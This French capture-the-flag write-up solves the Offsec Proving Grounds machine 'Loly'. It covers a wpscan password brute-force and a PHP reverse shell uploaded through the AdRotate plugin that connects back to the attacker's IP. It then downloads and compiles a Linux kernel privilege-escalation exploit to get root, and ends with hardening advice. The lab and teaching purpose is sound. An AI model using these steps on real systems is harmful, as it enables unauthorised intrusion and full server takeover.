Compte-rendu technique | Loly offsec Proving Grounds
Résolution et explication des vulnérabilités de la machine Loly d'offsec
5/8/20255 min temps de lecture


Cet article vise à expliquer une machine CTF Loly d'offsec. Le programme Proving Grounds d'offsec permet de s'entrainer en donnant un accès gratuit de trois heures par jour pour compléter des machines.
Lorsque l'on démarre une machine, son IP nous est donné. La première chose à faire pour gagner du temps est d'enregistrer une variable pour ne pas à réécrire l'IP dans chaque commandes dans notre prompt. Pour cela rien de plus simple, dans notre terminal:
IP=192.168.60.121
On peut alors commencer la première phase d'énumération, un scan réseau initial a été réalisé avec nmap afin d’identifier les services exposés :
nmap -sC -sV -p- $ip -v
On a un seul port ouvert, le 80. En naviguant à cette url on obtient la page par defaut nginx. En énumérant davanatage avec gobuster et on trouve un dossier /wordpress
gobuster dir -u http://192.168.120.151 -w /usr/share/wordlists/dirb/small.txt -z
En naviguant sur l'url IP/wordpress le site semble ne pas fonctionner correctement (affichage CSS). En regardant pas curiosité le code source, on trouve que le code pointe vers loly.lc.
Pour remédier à cela on peut facilement enregistrer l'adresse IP du site web à loly.lc dans le fichier /etc/hosts de notre machine.
sudo nano /etc/hosts
On rajoute la ligne 192.168.60.121 loly.lc
Le site s'affiche correctement dorénavant. On peut l'enumérer davantage avec wpscan
wpscan --url http://loly.lc/wordpress --enumerate u
On trouve l'utilisateur loly. Toujours avec wpscan, on peut essayer de bruteforcer le mot de passe de l'utilisateur loly.
wpscan --url http://loly.lc/wordpress -U loly -P /usr/share/wordlists/metasploit/unix_passwords.txt
[!] Valid Combinations Found:
| Username: loly, Password: fernando
Avec ces credentials trouvés on peut se log via l'URL http://loly.lc/wordpress/wp-login.php. En naviguant dans les extensions on voit AdRotate qui est installé. Celle ci permet d'uploader des fichiers sur l'applications (onglet Manage Media), un reverse shell en PHP par exemple pour accéder au serveur et pouvoir intérargir sur celui ci en ligne de commandes.
De nombreux reverse shell existent, on peut utiliser celui dans notre machine kali dans /usr/share/webshells/php/php-reverse-shell.php.
cp /usr/share/webshells/php/php-reverse-shell.php .
Trouver la ligne :
$ip = '127.0.0.1'; // CHANGE THIS
Puis la modifier par l'ip de notre machine kali (ici en occurence 192.168.49.60). On peut upload le fichier qui se retrouvera dans banners. Par contre la fonction upload n'accepte qu'un certain type de fichiers (les fichiers php n'en font pas partis). On peut donc compresser notre fichier PHP dans un fichier zip, puis l'upload
zip shell.php.zip php-reverse-shell.php
On peut écouter les connexions entrantes à notre machine sur le port 1234 (le port par défaut de notre fichier php)
sudo nc -nvlp 1234
Puis on déclenche le reverse shell en naviguant vers l'url : http://192.168.60.121/wordpress/wp-content/banners/php-reverse-shell.php
Et sur notre listener on obtient bien un shell.
le shell obtenu est celui d'un utilisateur avec des droits limité. On peut tenter d'obtenir les droits administrateur pour contrôler totalement la machine. Pour cela on démarre l'énumération pour savoir quell est la distribution de la machine cible.
www-data@ubuntu:/$ lsb_release -a
lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.1 LTS
Release: 16.04
Codename: xenial
www-data@ubuntu:/$ uname -a
uname -a
Linux ubuntu 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
On voit que le kernel linux est de version 4.4.0-31. En recherchant un éventuel exploit en ligne on peut trouver local privilege escalation exploit for Linux kernels prior to 4.13.9. On peut le télécharger, monter un serveur web pour pouvoir l'upload sur la machine cible et le compiler la bas.
python3 -m http.server 8000
ON peut télécharger le fichier depuis la machine cible avec wget http://192.168.49.52:8000/45010.c. Puis on compile sur la machine cible avec gcc, malheureusement on obitient une erreur cc1.
On peut corriger cela en ajoutant le dossier cc1 à notre variable d'environnement. On compile l'exploit et on l'exécute et l'on obtient un shell en root :
find /usr -name cc1 : pour trouver le repertoire de cc1
export PATH=$PATH:/usr/lib/gcc/x86_64-linux-gnu/5/cc1: pour ajouter le dossier à la variable d'environnement
Recommandations de sécurité
Dans le cadre de Proving Grounds nous sommes sur une machine volontairement vulnérable, mais ce type de scénario reflète parfaitement des compromissions réelles en entreprise. Voici les bonnes pratiques qui auraient permis d’éviter ou de limiter cette attaque :
Sécuriser WordPress et son environnement
Maintenir WordPress, ses thèmes et plugins à jour.
Désinstaller tout plugin inutile ou non maintenu (comme AdRotate, ici utilisé pour uploader un shell).
Désactiver toute fonctionnalité d’upload non nécessaire et restreindre les types de fichiers autorisés.
Mettre en place une politique de mots de passe stricte
Interdire les mots de passe faibles.
Mettre en place un mécanisme d’authentification robuste : MFA, Captcha, blocage après plusieurs tentatives, rate-limiting.
Protéger l’accès au /wp-login.
Restreindre l’accès à l’infrastructure
Limiter les accès uniquement aux utilisateurs nécessaires.
Surveiller et journaliser les connexions et actions suspectes.
Empêcher l’exécution de fichiers malveillants
Appliquer des permissions strictes sur les répertoires Web.
Interdire l’exécution de PHP dans les dossiers upload (ex. wp-content/uploads).
Corriger et maintenir le système
Mettre à jour régulièrement le système d’exploitation.
Corriger les vulnérabilités Kernel connues pour éviter les élévations de privilèges locales.
Surveiller les vulnérabilités liées au kernel et aux packages critiques.
Ces mesures auraient significativement réduit la surface d’attaque et empêché la compromission complète du système






















